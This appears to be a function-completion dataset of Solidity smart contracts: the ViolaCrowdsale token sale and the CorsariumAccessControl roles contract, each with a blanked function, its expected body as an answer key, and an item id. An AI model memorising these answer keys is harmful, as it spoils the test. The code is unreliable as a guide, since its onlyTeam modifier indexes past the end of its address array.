} //Remove the address from whitelist function removeWhitelistAddress(address _investor) onlyOwner external { require(_investor != address(0)); maxBuyCap[_investor] = 0; uint256 weiAmount = investedSum[_investor]; if (weiAmount > 0) { _refund(_investor); } } //Flag address as KYC approved. Address is now approved to claim tokens function approveKYC(address _kycAddress) onlyOwner external { require(_kycAddress != address(0)); addressKYC[_kycAddress] = true; uint256 weiAmount = investedSum[_kycAddress]; totalApprovedAmount = totalApprovedAmount.add(weiAmount); } //Set KYC status as failed. Refund any eth back to address function revokeKYC(address _kycAddress) onlyOwner external { require(_kycAddress != address(0)); addressKYC[_kycAddress] = false; uint256 weiAmount = investedSum[_kycAddress]; totalApprovedAmount = totalApprovedAmount.sub(weiAmount); if (weiAmount > 0) { _refund(_kycAddress); } } /** * Getter functions for crowdsale parameters * Does not use gas */ //Checks if token has been sold out function tokensHasSoldOut() view internal returns (bool) { if (getTokensLeft() <= leftoverTokensBuffer) { return true; } else { return false; } } // @return true if the transaction can buy tokens function withinPeriod() public view returns (bool) { return now >= startTime && now <= endTime; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { if (status == State.Ended) { return true; } return now > endTime; } function getTokensLeft() public view returns (uint) { return violaToken.allowance(owner, this).sub(totalTokensAllocated); } function transferTokens (address receiver, uint tokenAmount) internal {<FILL_FUNCTION_BODY> } function getTimeBasedBonusRate() public view returns(uint) { bool bonusDuration1 = now >= startTime && now <= (startTime + 1 days); //First 24hr bool bonusDuration2 = now > (startTime + 1 days) && now <= (startTime + 3 days);//Next 48 hr bool bonusDuration3 = now > (startTime + 3 days) && now <= (startTime + 10 days);//4th to 10th day bool bonusDuration4 = now > (startTime + 10 days) && now <= endTime;//11th day onwards if (bonusDuration1) { return bonusTokenRateLevelOne; } else if (bonusDuration2) { return bonusTokenRateLevelTwo; } else if (bonusDuration3) { return bonusTokenRateLevelThree; } else if (bonusDuration4) { return bonusTokenRateLevelFour; } else { return 0; } } function getTotalTokensByAddress(address _investor) public view returns(uint) { return getTotalNormalTokensByAddress(_investor).add(getTotalBonusTokensByAddress(_investor)); } function getTotalNormalTokensByAddress(address _investor) public view returns(uint) { return tokensAllocated[_investor].add(externalTokensAllocated[_investor]); } function getTotalBonusTokensByAddress(address _investor) public view returns(uint) { return bonusTokensAllocated[_investor].add(externalBonusTokensAllocated[_investor]); } function _clearTotalNormalTokensByAddress(address _investor) internal { tokensAllocated[_investor] = 0; externalTokensAllocated[_investor] = 0; } function _clearTotalBonusTokensByAddress(address _investor) internal { bonusTokensAllocated[_investor] = 0; externalBonusTokensAllocated[_investor] = 0; } /** * Functions to handle buy tokens * Fallback function as entry point for eth */ // Called when ether is sent to contract function () external payable { buyTokens(msg.sender); } //Used to buy tokens function buyTokens(address investor) internal { require(status == State.Active); require(msg.value >= minWeiToPurchase); uint weiAmount = msg.value; checkCapAndRecord(investor,weiAmount); allocateToken(investor,weiAmount); } //Internal call to check max user cap function checkCapAndRecord(address investor, uint weiAmount) internal { uint remaindingCap = maxBuyCap[investor]; require(remaindingCap >= weiAmount); maxBuyCap[investor] = remaindingCap.sub(weiAmount); investedSum[investor] = investedSum[investor].add(weiAmount); } //Internal call to allocated tokens purchased function allocateToken(address investor, uint weiAmount) internal { // calculate token amount to be created uint tokens = weiAmount.mul(rate); uint bonusTokens = tokens.mul(getTimeBasedBonusRate()).div(100); uint tokensToAllocate = tokens.add(bonusTokens); require(getTokensLeft() >= tokensToAllocate); totalTokensAllocated = totalTokensAllocated.add(tokensToAllocate); tokensAllocated[investor] = tokensAllocated[investor].add(tokens); bonusTokensAllocated[investor] = bonusTokensAllocated[investor].add(bonusTokens); if (tokensHasSoldOut()) { endCrowdsale(); } TokenPurchase(investor, weiAmount, tokens, bonusTokens); } /** * Functions for refunds & claim tokens * */ //Refund users in case of unsuccessful crowdsale function _refund(address _investor) internal { uint256 investedAmt = investedSum[_investor]; require(investedAmt > 0); uint totalInvestorTokens = tokensAllocated[_investor].add(bonusTokensAllocated[_investor]); if (status == State.Active) { //Refunded tokens go back to sale pool totalTokensAllocated = totalTokensAllocated.sub(totalInvestorTokens); } _clearAddressFromCrowdsale(_investor); _investor.transfer(investedAmt); Refunded(_investor, investedAmt); } //Partial refund users function refundPartial(address _investor, uint _refundAmt, uint _tokenAmt, uint _bonusTokenAmt) onlyOwner external { uint investedAmt = investedSum[_investor]; require(investedAmt > _refundAmt); require(tokensAllocated[_investor] > _tokenAmt); require(bonusTokensAllocated[_investor] > _bonusTokenAmt); investedSum[_investor] = investedSum[_investor].sub(_refundAmt); tokensAllocated[_investor] = tokensAllocated[_investor].sub(_tokenAmt); bonusTokensAllocated[_investor] = bonusTokensAllocated[_investor].sub(_bonusTokenAmt); uint totalRefundTokens = _tokenAmt.add(_bonusTokenAmt); if (status == State.Active) { //Refunded tokens go back to sale pool totalTokensAllocated = totalTokensAllocated.sub(totalRefundTokens); } _investor.transfer(_refundAmt); Refunded(_investor, _refundAmt); } //Used by investor to claim token function claimTokens() external { require(hasEnded()); require(addressKYC[msg.sender]); address tokenReceiver = msg.sender; uint tokensToClaim = getTotalNormalTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalNormalTokensByAddress(tokenReceiver); violaToken.transferFrom(owner, tokenReceiver, tokensToClaim); TokenDistributed(tokenReceiver, tokensToClaim); } //Used by investor to claim bonus token function claimBonusTokens() external { require(hasEnded()); require(now >= bonusVestingPeriod); require(addressKYC[msg.sender]); address tokenReceiver = msg.sender; uint tokensToClaim = getTotalBonusTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalBonusTokensByAddress(tokenReceiver); violaToken.transferFrom(owner, tokenReceiver, tokensToClaim); BonusTokenDistributed(tokenReceiver, tokensToClaim); } //Used by owner to distribute bonus token function distributeBonusTokens(address _tokenReceiver) onlyOwner external { require(hasEnded()); require(now >= bonusVestingPeriod); address tokenReceiver = _tokenReceiver; uint tokensToClaim = getTotalBonusTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalBonusTokensByAddress(tokenReceiver); transferTokens(tokenReceiver, tokensToClaim); BonusTokenDistributed(tokenReceiver,tokensToClaim); } //Used by owner to distribute token function distributeICOTokens(address _tokenReceiver) onlyOwner external { require(hasEnded()); address tokenReceiver = _tokenReceiver; uint tokensToClaim = getTotalNormalTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalNormalTokensByAddress(tokenReceiver); transferTokens(tokenReceiver, tokensToClaim); TokenDistributed(tokenReceiver,tokensToClaim); } //For owner to reserve token for presale // function reserveTokens(uint _amount) onlyOwner external { // require(getTokensLeft() >= _amount); // totalTokensAllocated = totalTokensAllocated.add(_amount); // totalReservedTokenAllocated = totalReservedTokenAllocated.add(_amount); // } // //To distribute tokens not allocated by crowdsale contract // function distributePresaleTokens(address _tokenReceiver, uint _amount) onlyOwner external { // require(hasEnded()); // require(_tokenReceiver != address(0)); // require(_amount > 0); // violaToken.transferFrom(owner, _tokenReceiver, _amount); // TokenDistributed(_tokenReceiver,_amount); // } //For external purchases & pre-sale via btc/fiat function externalPurchaseTokens(address _investor, uint _amount, uint _bonusAmount) onlyOwner external { require(_amount > 0); uint256 totalTokensToAllocate = _amount.add(_bonusAmount); require(getTokensLeft() >= totalTokensToAllocate); totalTokensAllocated = totalTokensAllocated.add(totalTokensToAllocate); totalReservedTokenAllocated = totalReservedTokenAllocated.add(totalTokensToAllocate); externalTokensAllocated[_investor] = externalTokensAllocated[_investor].add(_amount); externalBonusTokensAllocated[_investor] = externalBonusTokensAllocated[_investor].add(_bonusAmount); ExternalTokenPurchase(_investor, _amount, _bonusAmount); } function refundAllExternalPurchase(address _investor) onlyOwner external { require(_investor != address(0)); require(externalTokensAllocated[_investor] > 0); uint externalTokens = externalTokensAllocated[_investor]; uint externalBonusTokens = externalBonusTokensAllocated[_investor]; externalTokensAllocated[_investor] = 0; externalBonusTokensAllocated[_investor] = 0; uint totalInvestorTokens = externalTokens.add(externalBonusTokens); totalReservedTokenAllocated = totalReservedTokenAllocated.sub(totalInvestorTokens); totalTokensAllocated = totalTokensAllocated.sub(totalInvestorTokens); ExternalPurchaseRefunded(_investor,externalTokens,externalBonusTokens); } function refundExternalPurchase(address _investor, uint _amountToRefund, uint _bonusAmountToRefund) onlyOwner external { require(_investor != address(0)); require(externalTokensAllocated[_investor] >= _amountToRefund); require(externalBonusTokensAllocated[_investor] >= _bonusAmountToRefund); uint totalTokensToRefund = _amountToRefund.add(_bonusAmountToRefund); externalTokensAllocated[_investor] = externalTokensAllocated[_investor].sub(_amountToRefund); externalBonusTokensAllocated[_investor] = externalBonusTokensAllocated[_investor].sub(_bonusAmountToRefund); totalReservedTokenAllocated = totalReservedTokenAllocated.sub(totalTokensToRefund); totalTokensAllocated = totalTokensAllocated.sub(totalTokensToRefund); ExternalPurchaseRefunded(_investor,_amountToRefund,_bonusAmountToRefund); } function _clearAddressFromCrowdsale(address _investor) internal { tokensAllocated[_investor] = 0; bonusTokensAllocated[_investor] = 0; investedSum[_investor] = 0; maxBuyCap[_investor] = 0; } function allocateTopupToken(address _investor, uint _amount, uint _bonusAmount) onlyOwner external { require(hasEnded()); require(_amount > 0); uint256 tokensToAllocate = _amount.add(_bonusAmount); require(getTokensLeft() >= tokensToAllocate); totalTokensAllocated = totalTokensAllocated.add(_amount); tokensAllocated[_investor] = tokensAllocated[_investor].add(_amount); bonusTokensAllocated[_investor] = bonusTokensAllocated[_investor].add(_bonusAmount); TopupTokenAllocated(_investor, _amount, _bonusAmount); } //For cases where token are mistakenly sent / airdrops function emergencyERC20Drain( ERC20 token, uint amount ) external onlyOwner { require(status == State.Completed); token.transfer(owner,amount); } }
contract ViolaCrowdsale is Ownable { using SafeMath for uint256; enum State { Deployed, PendingStart, Active, Paused, Ended, Completed } //Status of contract State public status = State.Deployed; // The token being sold VLTToken public violaToken; //For keeping track of whitelist address. cap >0 = whitelisted mapping(address=>uint) public maxBuyCap; //For checking if address passed KYC mapping(address => bool)public addressKYC; //Total wei sum an address has invested mapping(address=>uint) public investedSum; //Total violaToken an address is allocated mapping(address=>uint) public tokensAllocated; //Total violaToken an address purchased externally is allocated mapping(address=>uint) public externalTokensAllocated; //Total bonus violaToken an address is entitled after vesting mapping(address=>uint) public bonusTokensAllocated; //Total bonus violaToken an address purchased externally is entitled after vesting mapping(address=>uint) public externalBonusTokensAllocated; //Store addresses that has registered for crowdsale before (pushed via setWhitelist) //Does not mean whitelisted as it can be revoked. Just to track address for loop address[] public registeredAddress; //Total amount not approved for withdrawal uint256 public totalApprovedAmount = 0; //Start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; uint256 public bonusVestingPeriod = 60 days; /** * Note all values are calculated in wei(uint256) including token amount * 1 ether = 1000000000000000000 wei * 1 viola = 1000000000000000000 vi lawei */ //Address where funds are collected address public wallet; //Min amount investor can purchase uint256 public minWeiToPurchase; // how many token units *in wei* a buyer gets *per wei* uint256 public rate; //Extra bonus token to give *in percentage* uint public bonusTokenRateLevelOne = 20; uint public bonusTokenRateLevelTwo = 15; uint public bonusTokenRateLevelThree = 10; uint public bonusTokenRateLevelFour = 0; //Total amount of tokens allocated for crowdsale uint256 public totalTokensAllocated; //Total amount of tokens reserved from external sources //Sub set of totalTokensAllocated ( totalTokensAllocated - totalReservedTokenAllocated = total tokens allocated for purchases using ether ) uint256 public totalReservedTokenAllocated; //Numbers of token left above 0 to still be considered sold uint256 public leftoverTokensBuffer; /** * event for front end logging */ event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount, uint256 bonusAmount); event ExternalTokenPurchase(address indexed purchaser, uint256 amount, uint256 bonusAmount); event ExternalPurchaseRefunded(address indexed purchaser, uint256 amount, uint256 bonusAmount); event TokenDistributed(address indexed tokenReceiver, uint256 tokenAmount); event BonusTokenDistributed(address indexed tokenReceiver, uint256 tokenAmount); event TopupTokenAllocated(address indexed tokenReceiver, uint256 amount, uint256 bonusAmount); event CrowdsalePending(); event CrowdsaleStarted(); event CrowdsaleEnded(); event BonusRateChanged(); event Refunded(address indexed beneficiary, uint256 weiAmount); //Set inital arguments of the crowdsale function initialiseCrowdsale (uint256 _startTime, uint256 _rate, address _tokenAddress, address _wallet) onlyOwner external { require(status == State.Deployed); require(_startTime >= now); require(_rate > 0); require(address(_tokenAddress) != address(0)); require(_wallet != address(0)); startTime = _startTime; endTime = _startTime + 30 days; rate = _rate; wallet = _wallet; violaToken = VLTToken(_tokenAddress); status = State.PendingStart; CrowdsalePending(); } /** * Crowdsale state functions * To track state of current crowdsale */ // To be called by Ethereum alarm clock or anyone //Can only be called successfully when time is valid function startCrowdsale() external { require(withinPeriod()); require(violaToken != address(0)); require(getTokensLeft() > 0); require(status == State.PendingStart); status = State.Active; CrowdsaleStarted(); } //To be called by owner or contract //Ends the crowdsale when tokens are sold out function endCrowdsale() public { if (!tokensHasSoldOut()) { require(msg.sender == owner); } require(status == State.Active); bonusVestingPeriod = now + 60 days; status = State.Ended; CrowdsaleEnded(); } //Emergency pause function pauseCrowdsale() onlyOwner external { require(status == State.Active); status = State.Paused; } //Resume paused crowdsale function unpauseCrowdsale() onlyOwner external { require(status == State.Paused); status = State.Active; } function completeCrowdsale() onlyOwner external { require(hasEnded()); require(violaToken.allowance(owner, this) == 0); status = State.Completed; _forwardFunds(); assert(this.balance == 0); } function burnExtraTokens() onlyOwner external { require(hasEnded()); uint256 extraTokensToBurn = violaToken.allowance(owner, this); violaToken.burnFrom(owner, extraTokensToBurn); assert(violaToken.allowance(owner, this) == 0); } // send ether to the fund collection wallet function _forwardFunds() internal { wallet.transfer(this.balance); } function partialForwardFunds(uint _amountToTransfer) onlyOwner external { require(status == State.Ended); require(_amountToTransfer < totalApprovedAmount); totalApprovedAmount = totalApprovedAmount.sub(_amountToTransfer); wallet.transfer(_amountToTransfer); } /** * Setter functions for crowdsale parameters * Only owner can set values */ function setLeftoverTokensBuffer(uint256 _tokenBuffer) onlyOwner external { require(_tokenBuffer > 0); require(getTokensLeft() >= _tokenBuffer); leftoverTokensBuffer = _tokenBuffer; } //Set the ether to token rate function setRate(uint _rate) onlyOwner external { require(_rate > 0); rate = _rate; } function setBonusTokenRateLevelOne(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelOne = _rate; BonusRateChanged(); } function setBonusTokenRateLevelTwo(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelTwo = _rate; BonusRateChanged(); } function setBonusTokenRateLevelThree(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelThree = _rate; BonusRateChanged(); } function setBonusTokenRateLevelFour(uint _rate) onlyOwner external { //require(_rate > 0); bonusTokenRateLevelFour = _rate; BonusRateChanged(); } function setMinWeiToPurchase(uint _minWeiToPurchase) onlyOwner external { minWeiToPurchase = _minWeiToPurchase; } /** * Whitelisting and KYC functions * Whitelisted address can buy tokens, KYC successful purchaser can claim token. Refund if fail KYC */ //Set the amount of wei an address can purchase up to //@dev Value of 0 = not whitelisted //@dev cap is in *18 decimals* ( 1 token = 1*10^18) function setWhitelistAddress( address _investor, uint _cap ) onlyOwner external { require(_cap > 0); require(_investor != address(0)); maxBuyCap[_investor] = _cap; registeredAddress.push(_investor); //add event } //Remove the address from whitelist function removeWhitelistAddress(address _investor) onlyOwner external { require(_investor != address(0)); maxBuyCap[_investor] = 0; uint256 weiAmount = investedSum[_investor]; if (weiAmount > 0) { _refund(_investor); } } //Flag address as KYC approved. Address is now approved to claim tokens function approveKYC(address _kycAddress) onlyOwner external { require(_kycAddress != address(0)); addressKYC[_kycAddress] = true; uint256 weiAmount = investedSum[_kycAddress]; totalApprovedAmount = totalApprovedAmount.add(weiAmount); } //Set KYC status as failed. Refund any eth back to address function revokeKYC(address _kycAddress) onlyOwner external { require(_kycAddress != address(0)); addressKYC[_kycAddress] = false; uint256 weiAmount = investedSum[_kycAddress]; totalApprovedAmount = totalApprovedAmount.sub(weiAmount); if (weiAmount > 0) { _refund(_kycAddress); } } /** * Getter functions for crowdsale parameters * Does not use gas */ //Checks if token has been sold out function tokensHasSoldOut() view internal returns (bool) { if (getTokensLeft() <= leftoverTokensBuffer) { return true; } else { return false; } } // @return true if the transaction can buy tokens function withinPeriod() public view returns (bool) { return now >= startTime && now <= endTime; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { if (status == State.Ended) { return true; } return now > endTime; } function getTokensLeft() public view returns (uint) { return violaToken.allowance(owner, this).sub(totalTokensAllocated); } <FILL_FUNCTION> function getTimeBasedBonusRate() public view returns(uint) { bool bonusDuration1 = now >= startTime && now <= (startTime + 1 days); //First 24hr bool bonusDuration2 = now > (startTime + 1 days) && now <= (startTime + 3 days);//Next 48 hr bool bonusDuration3 = now > (startTime + 3 days) && now <= (startTime + 10 days);//4th to 10th day bool bonusDuration4 = now > (startTime + 10 days) && now <= endTime;//11th day onwards if (bonusDuration1) { return bonusTokenRateLevelOne; } else if (bonusDuration2) { return bonusTokenRateLevelTwo; } else if (bonusDuration3) { return bonusTokenRateLevelThree; } else if (bonusDuration4) { return bonusTokenRateLevelFour; } else { return 0; } } function getTotalTokensByAddress(address _investor) public view returns(uint) { return getTotalNormalTokensByAddress(_investor).add(getTotalBonusTokensByAddress(_investor)); } function getTotalNormalTokensByAddress(address _investor) public view returns(uint) { return tokensAllocated[_investor].add(externalTokensAllocated[_investor]); } function getTotalBonusTokensByAddress(address _investor) public view returns(uint) { return bonusTokensAllocated[_investor].add(externalBonusTokensAllocated[_investor]); } function _clearTotalNormalTokensByAddress(address _investor) internal { tokensAllocated[_investor] = 0; externalTokensAllocated[_investor] = 0; } function _clearTotalBonusTokensByAddress(address _investor) internal { bonusTokensAllocated[_investor] = 0; externalBonusTokensAllocated[_investor] = 0; } /** * Functions to handle buy tokens * Fallback function as entry point for eth */ // Called when ether is sent to contract function () external payable { buyTokens(msg.sender); } //Used to buy tokens function buyTokens(address investor) internal { require(status == State.Active); require(msg.value >= minWeiToPurchase); uint weiAmount = msg.value; checkCapAndRecord(investor,weiAmount); allocateToken(investor,weiAmount); } //Internal call to check max user cap function checkCapAndRecord(address investor, uint weiAmount) internal { uint remaindingCap = maxBuyCap[investor]; require(remaindingCap >= weiAmount); maxBuyCap[investor] = remaindingCap.sub(weiAmount); investedSum[investor] = investedSum[investor].add(weiAmount); } //Internal call to allocated tokens purchased function allocateToken(address investor, uint weiAmount) internal { // calculate token amount to be created uint tokens = weiAmount.mul(rate); uint bonusTokens = tokens.mul(getTimeBasedBonusRate()).div(100); uint tokensToAllocate = tokens.add(bonusTokens); require(getTokensLeft() >= tokensToAllocate); totalTokensAllocated = totalTokensAllocated.add(tokensToAllocate); tokensAllocated[investor] = tokensAllocated[investor].add(tokens); bonusTokensAllocated[investor] = bonusTokensAllocated[investor].add(bonusTokens); if (tokensHasSoldOut()) { endCrowdsale(); } TokenPurchase(investor, weiAmount, tokens, bonusTokens); } /** * Functions for refunds & claim tokens * */ //Refund users in case of unsuccessful crowdsale function _refund(address _investor) internal { uint256 investedAmt = investedSum[_investor]; require(investedAmt > 0); uint totalInvestorTokens = tokensAllocated[_investor].add(bonusTokensAllocated[_investor]); if (status == State.Active) { //Refunded tokens go back to sale pool totalTokensAllocated = totalTokensAllocated.sub(totalInvestorTokens); } _clearAddressFromCrowdsale(_investor); _investor.transfer(investedAmt); Refunded(_investor, investedAmt); } //Partial refund users function refundPartial(address _investor, uint _refundAmt, uint _tokenAmt, uint _bonusTokenAmt) onlyOwner external { uint investedAmt = investedSum[_investor]; require(investedAmt > _refundAmt); require(tokensAllocated[_investor] > _tokenAmt); require(bonusTokensAllocated[_investor] > _bonusTokenAmt); investedSum[_investor] = investedSum[_investor].sub(_refundAmt); tokensAllocated[_investor] = tokensAllocated[_investor].sub(_tokenAmt); bonusTokensAllocated[_investor] = bonusTokensAllocated[_investor].sub(_bonusTokenAmt); uint totalRefundTokens = _tokenAmt.add(_bonusTokenAmt); if (status == State.Active) { //Refunded tokens go back to sale pool totalTokensAllocated = totalTokensAllocated.sub(totalRefundTokens); } _investor.transfer(_refundAmt); Refunded(_investor, _refundAmt); } //Used by investor to claim token function claimTokens() external { require(hasEnded()); require(addressKYC[msg.sender]); address tokenReceiver = msg.sender; uint tokensToClaim = getTotalNormalTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalNormalTokensByAddress(tokenReceiver); violaToken.transferFrom(owner, tokenReceiver, tokensToClaim); TokenDistributed(tokenReceiver, tokensToClaim); } //Used by investor to claim bonus token function claimBonusTokens() external { require(hasEnded()); require(now >= bonusVestingPeriod); require(addressKYC[msg.sender]); address tokenReceiver = msg.sender; uint tokensToClaim = getTotalBonusTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalBonusTokensByAddress(tokenReceiver); violaToken.transferFrom(owner, tokenReceiver, tokensToClaim); BonusTokenDistributed(tokenReceiver, tokensToClaim); } //Used by owner to distribute bonus token function distributeBonusTokens(address _tokenReceiver) onlyOwner external { require(hasEnded()); require(now >= bonusVestingPeriod); address tokenReceiver = _tokenReceiver; uint tokensToClaim = getTotalBonusTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalBonusTokensByAddress(tokenReceiver); transferTokens(tokenReceiver, tokensToClaim); BonusTokenDistributed(tokenReceiver,tokensToClaim); } //Used by owner to distribute token function distributeICOTokens(address _tokenReceiver) onlyOwner external { require(hasEnded()); address tokenReceiver = _tokenReceiver; uint tokensToClaim = getTotalNormalTokensByAddress(tokenReceiver); require(tokensToClaim > 0); _clearTotalNormalTokensByAddress(tokenReceiver); transferTokens(tokenReceiver, tokensToClaim); TokenDistributed(tokenReceiver,tokensToClaim); } //For owner to reserve token for presale // function reserveTokens(uint _amount) onlyOwner external { // require(getTokensLeft() >= _amount); // totalTokensAllocated = totalTokensAllocated.add(_amount); // totalReservedTokenAllocated = totalReservedTokenAllocated.add(_amount); // } // //To distribute tokens not allocated by crowdsale contract // function distributePresaleTokens(address _tokenReceiver, uint _amount) onlyOwner external { // require(hasEnded()); // require(_tokenReceiver != address(0)); // require(_amount > 0); // violaToken.transferFrom(owner, _tokenReceiver, _amount); // TokenDistributed(_tokenReceiver,_amount); // } //For external purchases & pre-sale via btc/fiat function externalPurchaseTokens(address _investor, uint _amount, uint _bonusAmount) onlyOwner external { require(_amount > 0); uint256 totalTokensToAllocate = _amount.add(_bonusAmount); require(getTokensLeft() >= totalTokensToAllocate); totalTokensAllocated = totalTokensAllocated.add(totalTokensToAllocate); totalReservedTokenAllocated = totalReservedTokenAllocated.add(totalTokensToAllocate); externalTokensAllocated[_investor] = externalTokensAllocated[_investor].add(_amount); externalBonusTokensAllocated[_investor] = externalBonusTokensAllocated[_investor].add(_bonusAmount); ExternalTokenPurchase(_investor, _amount, _bonusAmount); } function refundAllExternalPurchase(address _investor) onlyOwner external { require(_investor != address(0)); require(externalTokensAllocated[_investor] > 0); uint externalTokens = externalTokensAllocated[_investor]; uint externalBonusTokens = externalBonusTokensAllocated[_investor]; externalTokensAllocated[_investor] = 0; externalBonusTokensAllocated[_investor] = 0; uint totalInvestorTokens = externalTokens.add(externalBonusTokens); totalReservedTokenAllocated = totalReservedTokenAllocated.sub(totalInvestorTokens); totalTokensAllocated = totalTokensAllocated.sub(totalInvestorTokens); ExternalPurchaseRefunded(_investor,externalTokens,externalBonusTokens); } function refundExternalPurchase(address _investor, uint _amountToRefund, uint _bonusAmountToRefund) onlyOwner external { require(_investor != address(0)); require(externalTokensAllocated[_investor] >= _amountToRefund); require(externalBonusTokensAllocated[_investor] >= _bonusAmountToRefund); uint totalTokensToRefund = _amountToRefund.add(_bonusAmountToRefund); externalTokensAllocated[_investor] = externalTokensAllocated[_investor].sub(_amountToRefund); externalBonusTokensAllocated[_investor] = externalBonusTokensAllocated[_investor].sub(_bonusAmountToRefund); totalReservedTokenAllocated = totalReservedTokenAllocated.sub(totalTokensToRefund); totalTokensAllocated = totalTokensAllocated.sub(totalTokensToRefund); ExternalPurchaseRefunded(_investor,_amountToRefund,_bonusAmountToRefund); } function _clearAddressFromCrowdsale(address _investor) internal { tokensAllocated[_investor] = 0; bonusTokensAllocated[_investor] = 0; investedSum[_investor] = 0; maxBuyCap[_investor] = 0; } function allocateTopupToken(address _investor, uint _amount, uint _bonusAmount) onlyOwner external { require(hasEnded()); require(_amount > 0); uint256 tokensToAllocate = _amount.add(_bonusAmount); require(getTokensLeft() >= tokensToAllocate); totalTokensAllocated = totalTokensAllocated.add(_amount); tokensAllocated[_investor] = tokensAllocated[_investor].add(_amount); bonusTokensAllocated[_investor] = bonusTokensAllocated[_investor].add(_bonusAmount); TopupTokenAllocated(_investor, _amount, _bonusAmount); } //For cases where token are mistakenly sent / airdrops function emergencyERC20Drain( ERC20 token, uint amount ) external onlyOwner { require(status == State.Completed); token.transfer(owner,amount); } }
require(violaToken.transferFrom(owner, receiver, tokenAmount));
function transferTokens (address receiver, uint tokenAmount) internal
function transferTokens (address receiver, uint tokenAmount) internal
7527
CorsariumAccessControl
CorsariumAccessControl
contract CorsariumAccessControl is SplitPayment { //contract CorsariumAccessControl { event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public megoAddress = 0x4ab6C984E72CbaB4162429721839d72B188010E3; address public publisherAddress = 0x00C0bCa70EAaADF21A158141EC7eA699a17D63ed; // cat, rene, pablo, cristean, chulini, pablo, david, mego address[] public teamAddresses = [0x4978FaF663A3F1A6c74ACCCCBd63294Efec64624, 0x772009E69B051879E1a5255D9af00723df9A6E04, 0xA464b05832a72a1a47Ace2Be18635E3a4c9a240A, 0xd450fCBfbB75CDAeB65693849A6EFF0c2976026F, 0xd129BBF705dC91F50C5d9B44749507f458a733C8, 0xfDC2ad68fd1EF5341a442d0E2fC8b974E273AC16, 0x4ab6C984E72CbaB4162429721839d72B188010E3]; // todo: add addresses of creators // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; modifier onlyTeam() { require(msg.sender == teamAddresses[0] || msg.sender == teamAddresses[1] || msg.sender == teamAddresses[2] || msg.sender == teamAddresses[3] || msg.sender == teamAddresses[4] || msg.sender == teamAddresses[5] || msg.sender == teamAddresses[6] || msg.sender == teamAddresses[7]); _; // do the rest } modifier onlyPublisher() { require(msg.sender == publisherAddress); _; } modifier onlyMEGO() { require(msg.sender == megoAddress); _; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } function CorsariumAccessControl() public {<FILL_FUNCTION_BODY> } /// @dev Called by any team member to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyTeam whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by MEGO, since /// one reason we may pause the contract is when team accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyMEGO whenPaused { // can't unpause if contract was upgraded paused = false; } }
contract CorsariumAccessControl is SplitPayment { //contract CorsariumAccessControl { event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public megoAddress = 0x4ab6C984E72CbaB4162429721839d72B188010E3; address public publisherAddress = 0x00C0bCa70EAaADF21A158141EC7eA699a17D63ed; // cat, rene, pablo, cristean, chulini, pablo, david, mego address[] public teamAddresses = [0x4978FaF663A3F1A6c74ACCCCBd63294Efec64624, 0x772009E69B051879E1a5255D9af00723df9A6E04, 0xA464b05832a72a1a47Ace2Be18635E3a4c9a240A, 0xd450fCBfbB75CDAeB65693849A6EFF0c2976026F, 0xd129BBF705dC91F50C5d9B44749507f458a733C8, 0xfDC2ad68fd1EF5341a442d0E2fC8b974E273AC16, 0x4ab6C984E72CbaB4162429721839d72B188010E3]; // todo: add addresses of creators // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; modifier onlyTeam() { require(msg.sender == teamAddresses[0] || msg.sender == teamAddresses[1] || msg.sender == teamAddresses[2] || msg.sender == teamAddresses[3] || msg.sender == teamAddresses[4] || msg.sender == teamAddresses[5] || msg.sender == teamAddresses[6] || msg.sender == teamAddresses[7]); _; // do the rest } modifier onlyPublisher() { require(msg.sender == publisherAddress); _; } modifier onlyMEGO() { require(msg.sender == megoAddress); _; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } <FILL_FUNCTION> /// @dev Called by any team member to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyTeam whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by MEGO, since /// one reason we may pause the contract is when team accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyMEGO whenPaused { // can't unpause if contract was upgraded paused = false; } }
megoAddress = msg.sender;
function CorsariumAccessControl() public
function CorsariumAccessControl() public
12078
DFBToken
approve
